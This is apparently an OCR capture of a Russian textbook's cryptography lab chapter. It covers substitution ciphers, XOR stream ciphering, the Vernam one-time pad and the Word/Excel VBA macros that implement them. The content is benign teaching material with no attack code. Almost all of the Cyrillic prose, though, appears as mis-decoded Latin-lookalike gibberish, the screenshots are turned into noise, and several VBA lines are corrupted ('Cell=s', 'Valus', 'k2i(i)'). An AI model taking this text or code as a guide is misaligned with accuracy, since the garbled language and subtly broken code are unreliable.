«CUMBOTIbL HA CUMBOJIbLY
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BeTaska Co34aTb BRABAKY PasmeTka CTpaHuLE Ceuinkn Pacceinkn PeLeHIMpoBaHne Hagcrpoiikn

i3 Zﬂ' D4 ?% i e - ﬂ' B
= g g Ly

[ Nokasare uenpasnenms
MpyHATE ﬁ

MpasonucaHne g Cozgate Wcnpaenenna
nNpUMEYHaHHE -

MpasonucaHne MpumeyaHna OTonexnsaHne ameHeHKna CpaeH1TE OneMote

OBAacTe NPOEEPKN ™

I BRITIOIHEHES 3TOT0 23JaHHA B IPOrpaMMy 3aganud 2 HeoOX0 UMO BHECTH
HIMEHEHHT:
®  CO0OMmEHHE PA3IeNAeTcd Ha OMOKH, KAKIbIH H3 KOTOPBIX VMEIIAEeTCH B

mmdpoTatminy;
‘pasMep caMoil IHGPOTAOMHIIE JOLKEH OCTATHCA TAKHM K€, KK H B
TIpeTEIyIIEM 23 AHHE;
OIPENeIHTE KOMHIeCTED OM0OKOE, Heo0X0JHMEIX PasMeIe i CO0DmeHH
Tpon ff ATMHSI, C I dyuxrmm Len(IshodnText) (n1*nl), rae
IshodnText — cTpoxa, cogep#aman coo0menHe IPOH3E0IBHON IHHEEL, 1l B
12 — paaMepsl kmodei k1 u k2,
OpraHHZ0EATE II0 ONPEIeIeHHOMY KOMHIeCTEY OIIOKOE BHEIMHMHA IHK,
EHVIDPH KOTOPOT0 HCIIOMB30EATE TOT e AT 0PHTM IH(POEAHHA 0JHOTO
Gmoka;

® 10 Pe3VARTATAM BEIIIONIHCHHA 33}.'[353:& COCTABHTE OTHET.

3ananme Ne 4. [onoHATEILHO 418 CAMOCTONTEIEHOH paboTh

Coctaguts mporpaMMy 1 mmidpoBaHHS MeTO0M IepeCTAHOBKH C IOBEINEHHOHR
KPHITOCTORKOCTE OFHHM H3 CASIVIOMEX CIOC0DOE.
L.

2. Jlns ganpHeHmero yBeIHYeHHA KPHIOTOCTOHKOCTH mmdpa MoXHO B Ipomecce
mHpPOEAHHA MEHATh KIOEH, pasMepsl TAOMHIEI IEPECTAHOEKM, KOIHYECTEO H
PACIIONOKEHHE HEHCIONB3YEMBIX 3IEMEHTOE [0 HEKOTOPOMY AITOpPHTMY, IPHYEM 3TOT
AITOPHTIM CTAHOEHTCA JOMOIHHTEIEHEIM KIogoM mudpa.

Puc. 3.8. Buo oxna ucxoonozo mexcma nepeo wiugpposanuem memooom 3amMeHbul
«CUMBOJIbI HA CUMBOTIbLY
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™
Thasa 3.doc [Pexm orpanndedtoi dyHkumoHansHocTi] - Microsoft Worw_ E@g

Fnan B KE Co3aatk BKNaJky PasMeTK pEHMLlhI C . Kw PaKM Peu,EHEaHme u Ha,q DOHKM & 0
32 —
P meHeHHhm ,qoxymeHT NOKa3aTe HCNPaBNeHMa ' [N..

[aY] L; MokasaTe MCNpasneHna ™
MpasonucaHne g BECTY Cozgate Mcnpasneﬂmﬂ prHuTb CpaBHwa 33U-MTMTb CEAZaHHBIE
B2 | T | npumeuarue _.! M [B] o8nacrs nposepkn ".a} 3aMETKN
MpasonucaHne MpumeyaHna OTenexnBaHne ameHeHKa CpaeH1TE OneMote
NpOH2EONEHOH JIHHEL ¢ moMomsko dyuxumn Len([shodnText)(nl*nl). roe lim]
ry

IshodnText — cTpoxa, cogep#aman coo0menHe IPOH3E0IBHON IHHEEL, 1l B
n2 — pazmeprr kmogeit k1 u k2;

*  opr TE IO OIIp MY KOMHYECTEY OIIOKOE BHENIHHHA LHKI,
BHYTPH KOTOPOT'0 HCIIOE30BATh TOT K€ AAT OPHTM MHGBPOBAHHA 0JHOTO
Omoka;

L1 (+] PE3VIRTATAM Bbmom{e}mﬁaa;;a.l-m:ﬁ COCTABHTE OTHET.
3aganme Ne 4. [ono HATeILHO 718 CAMOCTOATEILHOM PaGoTEI

CocTants IporpaMMy And MHQPOBaHHS METOSOM [IEPECTAHOEKH ¢ IOEBIMIEHHOH
KPHITOCTOHKOCTS OFHHM H3 CHEAVIOLMX CIOCO00E.

| 1...pYK  @MOBBAJIBK  SUMIIIMSHE BEUEL O HWITYBIIL
EHEAIHTTIMO, QOMPEM3K JLEB3@MYHAITABEA UITYEIID.

aMYBILK3NOM B EI3EMYMHAIBK JDKB3@MYIAIDABEC FOVEKBAIIIMO
KOVEAW3K  PMOMVIBHAYWUILE  OVAINIMB  BEYEMOITIBE.  &EB

BRUEMOIJIEE  IKI3UT O JLKB3GMVYHAIDKBRK IOVEBKIIE  JLK

[ ATTM3KH3K 3EBOMYD SUL' B O AT'BEHEMOT JLIB] 3U BA JIEC DK
AT®E3b0T AM3K TIB, K 3BBOMYE — MITB @EM3UM ©EMPITIIL AN3K. ED
ET3BBHEMO, 3BBOMVE AT'BBYEMOLIIMXM UL WITHE  JDK
ATTIM3KH3K O JDEG3OMYHAILEKBEA FOVABAITIE

2. JIns ganeHeHmero VEeMHYeHHA KPHOTOCTOHKOCTH MEdpa MOXHO B IpOLECCe
mHpPOEAHHA MEHATh KIOEH, pasMepsl TAOMHIEI IEPECTAHOEKM, KOIHYECTEO H
PacToIOKeHHe HEHCIIOMBIYEMBIX 3IEMEHTOR II0 HEKOTOPOMY aIrOPHTMY. IpHYEM 3TOT i
AITOPHTIM CTAHOEHTCA JOMOIHHTEIEHEIM KIogoM mudpa. H

@H-@ @ ;‘ -— % m-.‘-—.m’

Puc. 3.9. Buo oxna ucxoonoz2o mexcma nocie wuposarus mMemooom 3ameHvl
«CUMBOJIbL HA CUMBOJIbLY

3amuppoBaHHYI0 YacTh TEKCTa HEOOXOJWMO BHOBb BBIJICIHTH M BHI-
MOJIHUTH TpOrpamMMmy jaemudpoBaHus. TEKCT TOJDKEH MPUHATH IePBOHA-
qanbpHBINA BUJ (puc. 3.8).
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3aganue Ne 3

Co3znaTh KHOIIKM 3alycKa nmporpamm Imu@poBaHus U AemndpoBaHus Ha
na”enu uHCcTpyMeHToB \Word. [Ipumep oTdera mpuBeIeH HIDKE.

1. [lomeniaem nporpaMMsbl U3 IPEABIAYIIErO 3aJaHus B pegakrope VBA
B paznene Normal-Modules-NewMacros. Jlist 3Toro oTkpeiBaeM Ha JICHTE
BKIaAKy «Bum» n menkaem «Makpocb». BecraBuM ckonupoBaHHBIE Mpen-
BapUTEIBHO MIPOTPAMMBI B YKa3aHHBIN pas3zed.

- 5
[E“ (=R R LNt E L= 5 Tnaea 3.doc [Pexkum orpannyenHoi gyHkynoranssoci] - Microsoft Word | = | 2R x|
m TnagHan Bcraeka CozaaTe BKNagky PazmeTka CTpaHKLgl Ceblnku Pacceineu PeugHIMpoBaHue Bug Haacrpoitku [~ 0
J _I:J 5 Bed-gokymeHT [ Mumeiika (5] ] J OgHa TpaHuLa L/ HoBOE 0KHD % =y
[ Crpyxrypa [0 Cetka A @,ﬂ,ﬁe CTPaHMLE :E ¥NOpARGOYNTE BLe =0
PasmeTea | Pexkum _ Macwrag 100% MepetiTi B Makpoca
CTPaHMLIBI 4TeHMA =] YepHosuk [C] 0Bnacts HaBuraumm =] Mo wupwhe crpatuue | = Pasgennte Apyroe okHo T -
PesknmMbl NpocMoTpa AoKyMeHTa Mokazate Macwrad OkHo Makpocs
£l
re

1. Tlomemaem mporpaMME! B3 OIPESELIVINCTO 330aHHA E pefaktope FBA B pasgene
Normal-Modules-NewMacros. Jlaa storo |

=]

«0»1@

CrpaHmua: 17 w319 | Yucno cnos: 1695 | O pycckuit IFe=F \E@ B E = 100% (=) {} ©)

2. OTKpBIBacM OKHO HAaCTPOIKHU MaHENH ObICTPOro JOCTyIa Yepe3 MEHIO
«Daitm»—«Ilapamerpsi»—«Ilanens ObicTporo goctynay». Beioupaem KomMaHabl
n3 MeHI «Makpocbk». [Ipr 3TOM TOJDKHO OTKPBITECSI OKHO C IMEHAMU MaK-
POCOB, KOTOPBIE MBI BCTABUJIN B MPEABIAYIIEM ITYHKTE:

rI'\a;:mwuz'rpl:l ‘Word — g — W -— o - — @Iﬁ

Ot @ HacTpoiika naHenu BeicTporo AocTyna.
SkpaH

Buifpate koMaHabl W3 (i Hacrpoiika nasenn eictporo gocryna: (i
Mlpasenncanie [Makpoew B4 Ana Beex AOKYMEHTOS (N0 yMONYaHNID) [~]
CoxpaHeHune
o <Pazgenutenc> H CoxpaHuTe

g,%, Mormal.NewMacros.Cod ¥} OTMeHWTE »
LononHutencHo . Normal.NewMacros.DCod U BepryTe

. b~ PaccraHoBka nepeHoCoE >
HEHFUMKE nNeHTel o
rnagneHne -
I 1
MaHenb BHETPOro 4oCTyna 3NEMEHTH YNPaENeHNA = [z]
3 Makpockl 3

Haacrporiku P Makpock

LleHTp ynpaBneHWA 6e30NacHOCTER

[7] Pasmectute nanens GuicTpora Aocryna nog newToi MMnopT-3kcnopt ¥ |G

3. Beimenss moouepenHo o0a HAMMEHOBAHUS MaKpOCOB, Ha)KMMaeMm
«/1lo06aBuTh» W BHU3Y OKHAa HaxkumaeM «M3meHuThH». B mosiBuBIIEMCS OKHE
BBOJIMM HOBOE MMsI KHOMKH (co cBoel dammiueii). Konuro skpana co cBoei
KHOIIKOW BCTABUM B OTYET.
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M=meHeHme kHOMKW uﬂ

Cumson:

HOO@A Y P HEH O
DB A 9 ea sy
rPOL BT R EQT V@RS
DLNLEOHVOBOBALE
9% o000 OO0OOO

HeijdwbSFDH@@EE S
e @ mSAAX vEORT
b@aI=EPIRSDIOC4d
Vaim=a=Ed e @] -

COTobpataemoe MMA: LUndpaTop XamyxiiHa

»

m

[ Ok ] [ OTHeHa ]

4. IlpoBepsiem pabOTy HAIIMX KHOIOK C MaHEIN OBICTPOTro JIOCTYIIA.

r — = T B
@" = R R G T o \ 5 Mnasa 3.docx - Microsoft Word | =8 ﬁ
m TnasHas Bcraska 033555 BEIAAkY FasMmeTka cTpaHuLel Cebinkn Paccuinkmn PeLeHsMpoBaHue Bua Haacrpoiiku o 0

= X 3 2 s o | s g R [ 34 Haittn ~
Times New R¢ 12 YIAGA | Aay | Wy | ASTr = viiEy | € qa E
= B | Aas6BerT, | Aas6Ber, Aab0 .S
Berasute | X & 4 - abe x, X . A = 7 O6biuHE | T Bes MHTe... 3aronoso.. — V3MeHuTs
3 F ! - J 7 aum~ | K Boigeauts v
Bydep o6meHa x WpudTt Crunu » | PegakTupogaHue

JaiunypuUsbannynU  1auViD  LLALLIA OLUVAUANMU  DOUDD 1o n 1o

nporpaMMy gemmdposanus. TeKCT Jo/oKeH IPHHATS epEOHaYaIsHEIH BHA (puc. 3.8).

> &Fl

3aganne Ne 3

4 [m]

Co3gaTe KHONKH 3aIlycKa IporpamMM mHGPOBAHHA H JemH(POBAHHA HA NAHETH

= 100% (=) 9 (+)

Crpanuua: 16 u3 20 | UYucno cros:3/1775 | <5 pycernit | P | |'T§§Eﬂ B =

BrIBoA: BBIZICNIEHHBI TEKCT MPH MOCIEIOBATEIILHOM HA)KaTUU HAIIUX
KHOTOK CHayasia 3amugpoBaics, 3aTeM Aemu(poBalcs, ClIeI0BaTeIbHO, pa-
00Ta BBINIOJIHEHA MTPaBUIIBHO.

3amanue Ne 4. /IonoTHUTENIBHO IS CAMOCTOATEIbHOI Pa0d0ThI

CocraButh mporpamMmy s MHUQPPOBAHUS METOJOM 3aMEHBI C IMOBbI-
HIEHHOW KpUNTOCTOMKOCTh. IIpuMeHHTh MHOroan(paBUTHYIO OJHOKOHTYp-
HYIO ITOJICTaHOBKY.
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JlaGopaTopHnas pa6ora 6 Ilorounoe mudpoBanue

[Ipu moTouHOM MIUPPOBAHUM CEKPETHBIN KIIIOY HA3bIBAIOT FaMMOM, KO-
TOpas MPEACTaBIseT cO00M MOCIe0BaTEIbHOCTh OMTOB, BhIpAOATHIBAEMBIX
10 HEKOTOPOMY QJITOPUTMY T'€HEPATOPOM TraMMbl. JTa MOCIEA0BATEIbHOCTD
¢ momoIibio jJoruueckoit onepaiuu XOR («Uckmountensuoe MJIN») nakia-
JIBIBACTCSl Ha OWUTHI UCXOJHOTO TEKCTa W mosydaeTcs mudpotexct. Takoi
MPOLIECC HA3bIBAIOT T'aMMUPOBAaHHMEM. JlJI1 TOBBIIIEHUS KPUOTOCTOMKOCTH
€ro MO>KHO MOBTOPATHh HECKOJIBKO pa3. CaMO KOJIMYECTBO MOBTOPOB U aJro-
pUTM pabOTHI T€HEPATOPOB TaMMBbI JOJDKHBI OBITH CeKpeTHhIMU. [lomyuaTens
mUGPOTEKCTa JOHKEH MMETh B TOYHOCTH TaKOW k€ HAOOp reHepaTopoB
rammupoBanus. Onepanus «Uckmountensnoe MJIN» nMeer takoe 3ameua-
TEIbHOE CBOWMCTBO, KAK BOCCTAHOBJICHHE MCXOAHOTO 3HAYEHUs OUTa mocie
HOBTOPHOTO IpuMeHeHUs. 1103TOMy, B TOUHOCTM NOBTOpPSIE TaMMHUPOBAHUE
mMU(PPOTEKCTA, MOJIydaTeb JSMUPPYET UCXOIHBIM TEKCT.

Ecnu nnunHa kimoua (raMMbl) paBHa JUIMHE COOOIIEHUS, U OH UCIIOJIb3Y-
€TCsl OJIUH pa3, TO TaKOe COOOIIEHNE B3JI0MaTh HEBO3MOXKHO (Teopema lllen-
HOHa). Takue anropuT™bl Ha3bIBaOT MM(pomM BepHama uiam 01HOPA30BBIM
osmokHoTOM. B mm¢dpe BepHama kiitou umMeeT JUIMHY, paBHYIO JJIMHE CaMOIo
epeaBaeMoro COOOILEHUS M, €CIM KaXIblil OUT KiIto4a BbIOMpaeTcs Ciry-
YailHO, TO BCKPBITh MHU(P HEBO3MOKHO (T. K. BCE BO3MOXHBIE OTKPBIThIE TEK-
CThI Oy1yT paBHOBEPOSTHBI).

OpnHako Ha MPaKTUKE JTIMHHBIE KIIOYM KCIIOIb30BaTh HEYIOOHO, U OHU
UCIIOJIB3YIOTCSL TOJBKO B MCKJIIOYUTENBHO BaXKHBIX cilydasx. ['opa3no yaie
MPUMEHSIOT KIItouu ¢ (PUKCUpOBAHHOU anuHOM (128, 256 O6uT) 1 raMMHpyIO-
masi moCJAeA0BATEILHOCTD MOJYYaeTCsl TICEBAOCTYYaiHOM. DTO CO3/1a€T BO3-
MO>KHOCTH 3JIOYMBIIUIEHHUKAM JUJIS B3JIOMa, HO CYILIECTBEHHO YIPOIIAET 3a-
TpaThl Ha MH(PPOBAHUE.

JpyruM HEIOCTaTKOM MOTOYHOro ImudpoBaHUs SBIsSETCS Mpoliema
cuHXpoHu3auuu. Ecnu npu nepegaye npou3oieT noTepsi XoTh OJIHOTO OUTa,
TO BCE€ OCTaJibHble OyayT JemudpoBanbl HenpaBuwibHO. [lo cocoby pere-
HUS 3TOW POoOJIEMbl KPUIITOCUCTEMBI TIOJIPA3ACIIsAOT HA CHHXPOHHbIE U CH-
CTEMBI ¢ CAMOCUHXPOHU3ALUEIA.

B CHHXpPOHHBIX KpUNITOCUCTEMAaX CUHXPOHU3ALMS TPOU3BOAUTCS IMyTEM
BCTaBKHM B COOOILIEHUE CHIEUaIbHBIX MapKkepoB. [loaTroMmy nmotepst 6ura npu-
BOAUT K HEBEPHOMY JeIM(POBAHUIO TOJIBKO IO T€X MOp, NMOKa HE OyAeT
OPUHAT OYepeaHON MapKep. DTU MOTEPH TEM MEHbIIE, YEM Yallle Pacroyio-
*eHbl Mapkepbl. Ho 3ToT croco® yamHgeT caMo COOOIIeHHE.

B kpunrocucreMax ¢ cCaMOCHMHXPOHM3ALMEN MPUMEHSIOTCS aCUHXPOH-
HbI€ TOTOYHbIE MIU(PHI, B KOTOPBIX MOTOK KiItOuel (ramma) siBisieTcs: PyHK-
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1uel reHeparopa MoToka U (UKCHPOBAHHOTO YHMCIIA 3HAKOB HIM(PPOTEKCTA,
KOTOpBIE HA3bIBAIOT 3aroyioBKOM. Jlemmudpyronuii TenepaTop KIo4el, mpu-
HSIB 3TOT 3aroJIOBOK aBTOMAaTHYECKH CHHXPOHH3YETCA ¢ MHU(PYIOMUM T'eHe-

paTopom.

N3BecTHBI Takke aJrOPUTMBI IMMOTOYHOTO IMH(PPOBAHMS HAa PETHUCTPAX
CIBUTA C JTMHEHHOW 00OpaTHOM CBS3BIO, C HEIMHEHHONW KOMOWHAIINEH TeHepa-

TOPOB, C TEHEPATOPAMH HA HETMHEHHBIX QUIbTPaAX U JIp.

3aganue Ne 1

3amu¢poBaTh BPYUHYIO CBOU JAaHHBIE «(paMMINS UM OTUECTBO» METO-
JIOM TIOTOYHOTO MM(POBAHUA IO 3aJJaHHOMY KiItody. B oTuere npeacraButh
Ta0IUIy B COOTBETCTBUU C IPUMEPOM, IPUBEACHHBIM B Ta01. 3.8.

Ta6auna 3.8. [Ipumep TabIUIBI TOTOYHOTO MHPPOBAHUS

Hcxonnsiii| Kogu- Kitou |I"'ammuposanue| Kogu- | Hlug- Tammrposarie
TEKCT pOBKa butet (ramma) | OTIIpaBUTENEM | POBKA |POTEKCT HoTyHaTeiem
1 2 3 4 5 6 7 8
X 22 10110 | 11111 01001 9 " 10110
a 1 00001 | 11111 11110 30 € 00001
M 13 | 01101 | 11111 10010 18 C 01101
y 20 |10100| 11111 01011 11 K 10100
X 22 10110 | 11111 01001 9 U 10110
U 9 01001 | 11111 10110 22 X 01001
H 14 | 01110 | 11111 10001 17 p 01110
a 1 00001 | 11111 11110 30 € 00001
1 12 | 01100 | 11111 10011 19 T 01100
e 6 |00110 | 11111 11001 25 11 00110
K 11 | 01011 | 11111 10100 20 y 01011
C 18 |10010| 11111 01101 13 M 10010
a 1 00001 | 11111 11110 30 € 00001
H 14 | 01110 | 11111 10001 17 p 01110
i} 5 100101 | 11111 11010 26 il 00101
p 17 | 10001 | 11111 01110 14 H 10001
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Koauposky andasura B3ath 13 1ada. 3.5. [Ipu moOutHOM ramMmmupoBa-
HUH UCIIOJIB30BATh JOTHUYECKyI0 onepannto «Mckmountensnoe UJIN», koro-
pas naet 3HaueHue «Mctuna» (1) TOJIBKO B TOM cilydae, KOT/ia 3HaYeHus ap-
I'YMEHTOB NPOTHUBOMNOJOXHBI. ECiIM 3HAaYeHUs] apryMEHTOB COBIIAJAIOT, 3Ta
onepauus aaetr 3HadeHue «Jloxp» (0). Jnsg ympoiieHus 3agauu g BCEX
CUMBOJIOB B34Th OJUH U TOT XK€ KJIIOY.

Cnenatb BBIBO/I.

Taxum 00pa3oM, UCXOIHBIN TEKCT «XaMYXHMH aJIeKCaHAP» ObLT OTHpa-
BUTEJIEM 3aMEHEH Ha MHUQPOTEKCT «MICKUXP ITLIIYMIPIIH» METOJOM IIO-
TOYHOTO MK(POBaHUS U MOTyYaTeeM yCIEIHO eI (PPOBaH, 4YTO BUAHO U3
COBMAJICHUS 3HaYEHUH §-T0 U 3-T0 CTOJIOOB.

3aganue Ne 2

CocTaBuTh mporpammy Jjisi METoJa OTOUYHOTO Imm@poBanus BepHama
(omHOpa30BbIi 0JI0KHOT). [Ipu cocTaBieHUU MPOrpaMMBbl KUCIIOJIB30BATh 00-
paser (puc. 3.10-3.12), B KOTOpBIA HEOOXOIUMO BHECTH W3MEHEHHS, COOT-
BETCTByIOIIME Bamemy WHANBHAyalbHOMY 3aJaHHUIO, KOTOPOE BBIIACTCS
npenogaBaTeneM o Homepy B kypHaie N. [[ns reHepanny raMMbl HCTIONb-
30BaTh JaT4uK ciydaHbix yncen (pyukmus RND) ¢ aprymentom N (mmycko-
BO€ YMCJIO JUJIsl T€HEepalK MOCIEI0BaTENbHOCTH ICEBAOCTYYaHBIX YHCEN).
JlnnHa coobmienus (kimtoua) paHa N+5.
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MMHM coemectumoctr] - Microsoft Excel | = | (2] |-

TnasHan BcTaska Pa3meTka CTpaHuLl Dopmynel JaHHble PeLieHIMpOBaHNE Bug Hagerpoiiku ) e = B
s == Ofwmit v " - E & ?a
X & 4 A A - % o000 | [ - A
= 0, 0,00 e Haitu u
7 et 1 E=; Y, G0 .0 = =] ®opmar - L BHIENMTE ™
Eydep oBmena WpwdT EblpasHWBaHHE Yucno CTramn Aveiiku PegakTupoBaHWe
h £ 0 v
A B c D E F G H J K L M M ;
WMex. Kog [Kniow 1 |Knww 2 |[Knou 3 [WndpoKog |Jewndpokog MexomHutii kog =S
0 0 1 1 0 0
1 1 1 0 1 1 =
0 0 1 0 1 0 !
1 0 0 1 0 1 A T
0 1 0 0 1 0 2?____________
1 0 0 1 0 1 ) N o o
0 1 0 1 0 0 5
1 ] ] 1 0 1 12 3 4 5 6 T & 9 10 11 1213 14151617 1819 DN =
0 0 0 0 0 0
1 1 1 0 1 1
0 1 0 0 1 0 ubpotion
1 1 0 0 0 1 12
0 0 0 0 0 0 1
1 0 0 0 1 1 0z — HIH— H HH H =
0 1 0 0 1 0 [LTJ S A — H H H
1 1 0 1 1 1 o ! mim M
0 1 0 1 0 0 Ehmminimm I uin I
1 1 1 1 0 1 U123:55?s9|Un|2|3|:|5|61.’-|8|~3202|z
0 0 1 1 0 0
1 1 0 0 0 1
0 1 1 0 0 0 fleumudpofion
1 0 1 1 1 1 iz
1
IUndpoeare ‘ LER
5
as
Key Gen1 ‘ Key Gen2 ‘ Key Genl ‘ 0z |
n123155.'-s91nn|2|31:15151.‘-1319m2|n |
Qumnctute
hd
W4 v M| Jncrl Nncr2 Nnerd ¥ |I|4 | il | » |I|
FoToBo | CpepgHee: 0,454545455  Koawuecreo: 110 Cymma: 50 |r@@@ 100% 'T' [} l-!-l

Puc. 3.10. Buo oxna unmepdgetica npoepammvi OJisi anieopumma nomouHo20
wugposanus Bepnama
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E Microsoft Visual Basic for Applications - Motounce 2.xls [design] - [[lncr2 (Code)]

i@ File Edit

= =R" |

View Insert

$ 2@ 9

Format Debug

Project - VBAProject

%]

Run  Tools

Add-Ins
I ok &S S @ Ln3 Coll

Window Help Beegute Bonpoc

ICorn mandButton1 vl ICIick

— 5 Const n = 22 =
E@ VBAProject (MoTtounoe 2 Private Sub CommandButtonl Click() 'ImM@poBaT:s —
E@ Microsoft Excel Objects lDim a, b, ¢, d, e &s Boolean
1 Mt (et 3) Dim k1(n), k2(n), k3(n) A=z Boolean
1 Muct2 (Mncr1) For i =1 Ton
1 T3 (Muet2) Ww = Worksheetsz(l).Cells(i + 1, 2).Value
E @ StakHura If w =1 Then k1(i} = True
If w =0 Then kl(i) = False
W = Worksheets(1l).Cell=s(i + 1, 3).Value
If w =1 Then k2(i) = True
If w = 0 Then k2(i) = False
w = Worksheets(l).Cell=(i + 1, 4).Value
If w = 1 Then k3(i) = True
If w = 0 Then k3(i} = False
W = Worksheets(l).Cell=s(i + 1, 1).Valus
If w =1 Then a = True
If w= 0 Then a = False
c = a Xor kK1(i)
b= c Xor k2(1i)
e = b Xor k3(1)
If e = True Then w = 1
If e = False Then w = 0
Worksheets (1) .Cells(i + 1, 5).Value = w
Next i
End Sub
Private Sub CommandButtonZ Click() 'OemMdpoEaT:
Dim a, b, c, d, & As Boolean
Dim k1l(n), k2(n), k3(n) A= Boolean
For i =1 Ton —
w = Worksheets(l).Cells(i + 1, 2).Value
If w =1 Then kl(i) = True
If w =0 Then kl{(i) = False
i W = Worksheetsz(1l).Cell=(i + 1, 3).Value
If w =1 Then k2(i) = True
If w = 0 Then k2(i) = False
w = Worksheets(1l).Cells(i + 1, 4).Value
If w =1 Then k3(i) = Trus
If w =0 Then k3(i} = False |
W = Worksheets(l).Cell=s(i + 1, &) .Value N
If w =1 Then e = True I
If w= 0 Then & = False
b = e Xor k3(i) |
c =b ¥or k2i(i) i
d = c Xor kK1(1)
If d = True Then w = 1
If d = False Then w = 0
Worksheets (1) .Cells(i + 1, 6).Value = w
Next i
End Sub

K1

e

Puc. 3.11. Buo okna mexcma npoepammvl 015 aieopumma nomo4Ho20
Hus Bepnama (vacmo 1)

wughposa-

119



— — = - B
E Microsoft Visual Basic for Applications - MNMotounoe 2.xls [desjEn] - [Mwct2 (Code)] =RECN X
i@ File Edit View Inset Format Debug Run Tools Add-Ins Window Help Beegute BONpoc - _ 8 X
iME-Hd 4 2889 bou oo HEFE - @ Ln3Coll
iy sz = Wiy sal x| |CommandBuﬂon1 ﬂ |Click j
= ;l 4 =] Private Sub CommandButton3 Click() 'oumcTHTE zl
E@ VBAProject (MoTtounoe 2 Range ("B2:F23") .S5elect
Selection.Valus = ""
End Sub
Private Sub CommandButton4 Click() 'Hey Gen 1
@ StakHura Dim ¥1(n), k2(n), k3i(n) As Byte
For i =1 Ton
¥ = End(n)
If v » 0.5 Then kK1{(i) = 1
If v € 0.5 Then kl(i) = 0
Worksheets (1) .Cells (i + 1, 2).Value = k1(i)

Hext 1
End 5ub
Private Sub CommandButton5 Click() 'Eey Gen 2
Dim kl1(n), k2(n), k3(n) A= Byte
For i =1 Tomn
v = Rnd(n)
If v > 0.5 Then k2 (i) 1
If v < 0.5 Then k2 (i) 0

Worksheet= (1) .Cell=(i + 1, 3).Value = k2 (i)
HNext 1
End Sub

Private Sub CommandButtoné Click() 'Hey Gen 3
Dim ¥1(n), k2(n), k3i(n) As Byte
For i =1Tomn
v = Rnd(n)
If v » 0.5 Then k3(i) = 1 L
If v < 0.5 Then k3(i) = 0
Worksheets (1) .Cells(i + 1, 4).Value = k3(1i)
HNext 1
End Sub

-

P F——— L = o

k

Puc. 3.12. Buo okna mexcma npoepammuvl 015 aieopumma nomo4Ho20 wugdposa-
Husi Bepnama (vacmo 2)

3aganue Ne 3

CocTraBuUTh IpOrpaMmy JIJIsi METOJA TOTOYHOTO MU(POBAHUS C KIFOUOM
¢ukcupoBanHo# JunHBL. [Ipu cocTaBiIeHUN TPOrpaMMbl HCIIOIB30BATh 00pa-
3ern (puc. 3.13-3.15), B KOTOpBI HEOOXOAMMO BHECTH M3MEHEHHUSI, COOTBET-
cTBytomue Bammemy nHIMBUAYyaIbHOMY 33JJaHUI0, KOTOPOE BBIIACTCS MPETIO-
naBareneM o HoMmepy B xkypHane N. J[ns reHepannu raMMbl UCIIOJIB30BATh
natuuk cinydanabix yucen (pynkius RND) ¢ aprymenTom N (myckoBoe umc-
JO JUIS TeHepaluu IOCIeI0BaTeIbHOCTH TCeBAOCTyYaiiHbIx uucen). Ko-
JUYECTBO OUTOB COOOIICHUS JOHKHO MPEBBIIATH JIMHY Kitoua Ha N+5.
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@ = L _%? & Motounoexls [Pesnm coemectumoctn] - Microsoft Excel - - | = | S S
@ FnasHas BcTaska PasmeTka cTRaHWLbI DopMynbl AaHHble PeyeH3MpoBaHKe Bug Hagcrpolikn & e o= 3 2
e & Arial 10 = =[] = OBEwmi - fﬁ YenoBHOe popMaTMpoBaHue * g BoraeuTte v X v R L?a
J B~ X & Y-~ - @ v % 000 [§B®opmarnposate kak TaGanuy v | 5 Yganute v ﬂ -
BcTaenTe =0 T S [ _ CopTupoeka Haiiti n
. 7 - N IS} Crunm Aveek ~ =] ®opmat - 7 whuaeTp T BEGENMTE ™
Eypep o6meHa LWpugT BripaBHWEaHKWE Yuecno CTrnm Aueiikn PegakTupoBaHue
N32 - fe i
A B C D E F G H J K L M 7:
1 Mecx Kog [Knwou 1 |Knwou 2 |Knwou 3 |llndpoRog [JewndpoKog) VcxomHuiii oz —
2 0 0 1 0 1 0
3 1 1 0 1 1 1 12
4 0 1 0 1 0 0 !
5 1 1 0 0 0 1 'J'f___________'
6 0 0 1 1 0 0 ;:________ 10
T o [0 [ o 1 1 iy e e o o
8 0 1 1 0 0 0 .
g 1 1 i} i} 0 1 12 3 &4 5 6 7T & 9 10 11 12 13 14 15 165 17 15 19 20 21 2
10 0 0 0 0 0 0
11 1 1 0 1 1 1
1] K
120 1 0 0 1 0 Hbpokon
13 1 0 1 12
14 0 0 0 1
15 1 1 1 s HH H HH - HH— =
16 0 1 0 a5 H H H HHH—HHF——
17 1 1 1 o HH H HHA—/ AP
18 0 0 0 2T M Arr—irnr—
19 1 1 1 IJIZ3r.5i?691-31112131:.15151?1619;ZIE
20 0 1 0
21 1 1 1
K
2 0 0 0 Aeumepokn
23 1 0 1 12
24 1
25 Wndpoeats ‘ lewwndposare 0z 4
26 254
27 044
28 Key Gen1 Key Gen2 Key Gen3 az 4
29 A I TR TR TR I A erapra |
30 0
Y YMCTHTE
32
M 4 v M| fwcrl S NMuer2 S Nucrd 2 # |I|1| i |
rotoso | IEEERT e, y!

Puc. 3.13. Buo oxna unmepgeiica npoepammvl NOMouHo20 wupposanus (Koauye-
cmeo Karodell — 3, OnuHa Kaxcoozo kuoda — 11 6um, onuna cooowenus — 22 bum)
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i@ Fle Edit View Insert

E"H # 2 BAS 90 b

Format Debug Run Tools Add-Ins

n @ EEY - @ LnsColT

Window Help Beeaute Bonpoc

Project - VBAProject El
| 5
E-&% VBAProject (Notounoes
23 Microsoft Excel Objects
--EB] MueT 1 (et 3)
Mt 2 (et 1)

1 Mwer3 (M)
----- @ Staknura

-

E Microsoft Visual Basic for Applications - Motounoe.xls - [Jlucr2 (Code)] |

g X

ICommandBuﬂon:‘- - I ICIick

Private Sub CommandButtonl Click()
Dim a, b, c, d, & hs Boolean
Dim k1{11), k2(11), k3{11) As Boolean
i=10
For i = 1 To 22
i=3+1
If j > 11 Then j = 1
W = Worksheets(l).Cell=s(j + 1, 2).Value
If w = 1 Then k1(j) = True
If w =0 Then kl({j) = False
W = Worksheets(l).Cells(j + 1, 3).Value
If w =1 Then k2(j) = True
If w = 0 Then k2 (j) = False
w = Worksheets(1l).Cells(j + 1, 4).Value
If w = 1 Then k3(j) = Trus
If w =0 Then k3(j) = False
W = Worksheets(1l).Cell=(i + 1, 1).Value

' poEaTe

If w =1 Then a = True
If w = 0 Then a = False
c = a Xor k1(3j)
B = c Xor kK2(3)
e = b Xor k3(3j)
If e = True Then w = 1

If & = False Then w = 0
Worksheets(1l) .Cell=(i + 1, 5).Value = w
Hext 1
End Sub

Private Sub CommandButton2_ Click()
Dim a, b, c, d, & &L= Boolean
